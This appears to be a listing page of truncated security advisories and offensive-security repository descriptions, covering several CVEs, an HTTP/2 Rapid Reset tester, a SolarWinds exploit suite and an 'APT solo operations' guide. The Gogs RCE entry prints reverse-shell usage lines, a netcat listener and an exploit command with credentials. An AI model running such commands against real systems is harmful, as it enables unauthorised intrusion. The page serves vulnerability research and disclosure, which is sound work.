CVE-2026-78407 Security vulnerabilities have been found in IBM Verify Identity Access and IBM Security Verify Access

IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 are vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading...

CVE-2026-78407 Security vulnerabilities have been found in IBM Verify Identity Access and IBM Security Verify Access

IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 are vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading...

EUVD-2026-95264

IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 are vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading...

requests-racer

Requests-Racer Requests-Racer は、Requests ライブラリを使用して、宛先が異なる場合やペイロードのサイズが異なる場合でも、複数のリクエストをそれらの宛先サーバーでほぼ同時に処理されるように送信できる小さな Python ライブラリです。これは、Web アプリケーションにおける競合状態の脆弱性を検出および悪用するのに役立ちます。詳細については、motivation.md を参照してください。 免責事項 Requests および Requests が内部で使用する urllib3...

CVE-2025-40554

CVE-2025-40554 エクスプロイトスイート SolarWinds Web Help Desk の認証バイパス脆弱性（CVE-2025-40554 / CVE-2025-40536）を検出・悪用するための包括的なセキュリティテストツールです。 ⚠️ 免責事項 教育目的および許可を得たセキュリティテスト専用 このツールは、自身が所有する、または明示的な書面によるテスト許可を得たシステムに対する、セキュリティ研究、ペネトレーションテスト、脆弱性評価のために提供されています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用または損害について一切の責任を負いません。...

WebFEET

Web フィルタ外部列挙ツール WebFEET WebFEET NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ 開発者: Ben Williams https://github.com/nccgroup/webfeet AGPL のもとで公開されています。詳細は LICENSE を参照してください WebFEET は、Web セキュリティプロキシとポリシーのドライブバイ列挙（drive-by enumeration）を行う Web アプリケーションです。関連ホワイトペーパー:...

CVE-2026-2413

CVE-2026-2413 Ally – Web Accessibility & Usability = 4.0.3 - URLパスを介した未認証SQLインジェクション 説明 WordPress用プラグイン「Ally – Web Accessibility & Usability」は、バージョン4.0.3までの全バージョンにおいて、URLパスを介したSQLインジェクションに対して脆弱です。これは、getglobalremediations メソッドにおいて、ユーザーが指定したURLパラメータのエスケープが不十分なためです。このパラメータはSQL...

shell-history-leaks

バッジ ライセンス MIT インストール 1. Python3 と pip をインストールします 手順はこちら これが分からない場合は、このツールを使うべきではないでしょう pip でインストール pip install shell-history-leaks 確認するには以下のコマンドを実行します shell-history-leaks -h 設定 2. 脆弱性検出の即時通知を受け取るために、Telegram API と統合しました。 Telegram 通知 shell-history-leaks --chatid Telegram...

APT-Individual-Combat-Guide

APT単独作戦ガイド 多くの人は、APT攻撃がどのように発生するのかを知らないため、APT攻撃を仕掛けるのは難しいと考えています。実際には、自動化ツールの発展に伴い、APT攻撃は容易に仕掛けることができます。 Switch English版に切り替え 背景 このリポジトリは、著者が執筆した《APT単独作戦ガイド》に登場するコードとコマンドのリポジトリであり、読者がコマンドとコードの構成を迅速に理解するためのものです。 目次 第一章：APT 偽旗攻撃を仕掛けるためのコードとコマンド 第二章： 偵察 情報収集に使用するツール、コード、コマンド 第三章： WEB脆弱性応用...

feroxfuzz

🚀 FeroxFuzz 🚀 構造認識型HTTPファジングライブラリ 🤔 またferox?なぜ? 🤔 落ち着いて、これは別のコマンドラインツールではなく、ライブラリです! 😁 より具体的には、FeroxFuzzは構造認識型HTTPファジングライブラリです。 FeroxFuzzを書いた主な目的は、feroxbusterから中核部分をいくつか取り出し、他の人々にとっても一般的に役立つ場所に移すことでした。そうすることで、RustでWebツールや単発のWebファザーを書きたい人は誰でも、最小限の労力で書けるようになることを願っています。 設計...

responsible-disclosure-email-gathering

責任ある開示メールの収集 目的 ホストに脆弱性を発見したが、そのホスト/組織がHackerOneやBugCrowdでアクティブなプログラムを持っていない場合があります。そのような場合、このワークフローが役立ちます！大まかに言うと、ウェブサイトをクロールし、調査結果を提出できるセキュリティ関連のメールを探します。 前提条件 Katana Nuclei アクティブなインターネット接続 プロセス このワークフローは以下を行います: 1. Katanaを使用してターゲットホストをクロールする 2. Katanaからの出力がNucleiに解析される 3...

ProxyListReliabilityCheck

ProxyListReliabilityCheck Perl 脚本，用于测试开放 Web 代理列表的可靠性。 该脚本接收一个文本文件列表，其中包含待测试开放 Web 代理的 IPAddress:Port（每行一个）。然后，它尝试通过每个目标代理爬取以下 URL： http://www.bishopfox.com/files/tools/googlediggity/other/Fhqwhgads.txt 如果在 6 秒超时内收到 200 OK，并且返回页面中包含文本 'everybody2daLim1t'（表明该代理没有弹出登录提示、错误消息，或没有修改内容），则该代理被视为可靠的开放 W...

laravel-framework

Laravelについて 注意: このリポジトリにはLaravelフレームワークのコアコードが含まれています。Laravelを使ってアプリケーションを構築したい場合は、メインのLaravelリポジトリをご覧ください。 Laravelは、表現力豊かで洗練された構文を持つウェブアプリケーションフレームワークです。私たちは、開発が楽しく、創造的な体験であることが真の充実につながると考えています。Laravelは、多くのウェブプロジェクトで一般的に使用されるタスクを容易にすることで、開発の苦痛を取り除こうと努めています。例えば、次のようなものです。 シンプルで高速なルーティングエンジン...

CVE-2002-1120

🐞 CVE-2002-1120：Savant Web Server 3.1 - 基于栈的缓冲区溢出（Egg Hunter） Savant Web Server 3.1 中经典的基于栈的缓冲区溢出，展示了 2000 年代初通过精心构造的 HTTP 请求实现的远程内存破坏（这是一个 2002 年的漏洞，其对初学者提出的挑战远超大多数 2025 年的缓冲区溢出 CVE）。 📑 目录 此仓库存在的原因 此漏洞为何有趣 背景与受影响软件 关于漏洞 触发崩溃 利用方法 🎓 此仓库存在的原因...

CVE-2026-104075

TVU Networks Receiver/Transceiver devices running firmware before version 7.9 contain an authentication bypass vulnerability in the web management login endpoint POST /tvu/Login that allows remote unauthenticated attackers to obtain an administrative session by submitting an empty or absent...

CVE-2022-24637

CVE-2022-24637 — Open Web Analytics 1.7.4 より前 Open Web Analytics OWA における、権限昇格につながる可能性のある重大な未認証情報漏えい問題に関する防御的な注意事項。 echoCTF の Fruityloops ボックスに取り組んでいる際に遭遇したもので、Open Web Analytics 1.7.3 が動作していた。 概要 項目| 詳細 ---|--- CVE| CVE-2022-24637 製品| Open Web Analytics 影響を受けるバージョン| 1.7.4 より前 のバージョン 1.7.3 を含む...

TATS

TATS — Token Analysis and Tracking System キャプチャしたネットワークトラフィック全体にわたって OAuth 2.0、OIDC、および Microsoft Entra ID トークンを追跡します。Burp Suite の XML エクスポート、mitmproxy フローファイル、またはライブの Chrome DevTools Protocol ストリームを単一の SQLite データベースに取り込み、トークンのフィルタリング、交換の追跡、リスクの高いスコープの特定、リプレイ用のトークンエクスポート、トークンライフサイクルの Mermaid...

CVE-2024-44625-Gogs-RCE-0.13.0

CVE-2024-44625 & Gogs-RCE-0.13.0 リバースプロキシ背後にある0.13.0世代のGogsに対して検証済み。 プリミティブ: Webエディタのシンボリックリンク追従により、存在しない.git/hooks/pre-receiveを作成し（実行可能）、以降のリポジトリへのプッシュごとにそのファイルが実行される。 使用方法: リバースシェル（先にリスナーを起動: nc -lvnp 4444） python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' \ --mode reverse...

CVE_2023_44487-Rapid_Reset

CVE-2023-44487 HTTP/2 Rapid Reset テストツール - 拡張版 CVE-2023-44487 （HTTP/2 Rapid Reset 脆弱性）のための包括的な Python テストツールです。この拡張版では、テストパラメータの詳細な制御、複数の攻撃パターン、高度な監視機能を提供します。 ⚠️ 重要なお知らせ このツールは教育目的および許可を得たテスト専用です！ 自分が所有するシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください 無許可での使用は違法となる可能性があり、サービス障害を引き起こす恐れがあります...

gha-lab-40e23db109

自動化された研究アーティファクト — 上流プロジェクトではありません。 このリポジトリは、ラヴァル大学の修士論文のために、公開されているGitHub Actionsワークフローの脆弱性を再現する目的で自動化ハーネスによって構築された使い捨てのラボです。これは、gradio-app/gradio のコミット d4c503a471cfd202c56fbddd99d5da431a4b7478（2024-08-02）時点の逐語的なスナップショットであり、そのプロジェクト自身のライセンスの下で再配布されています。そのライセンスファイルはこのスナップショットに変更なしで含まれています。...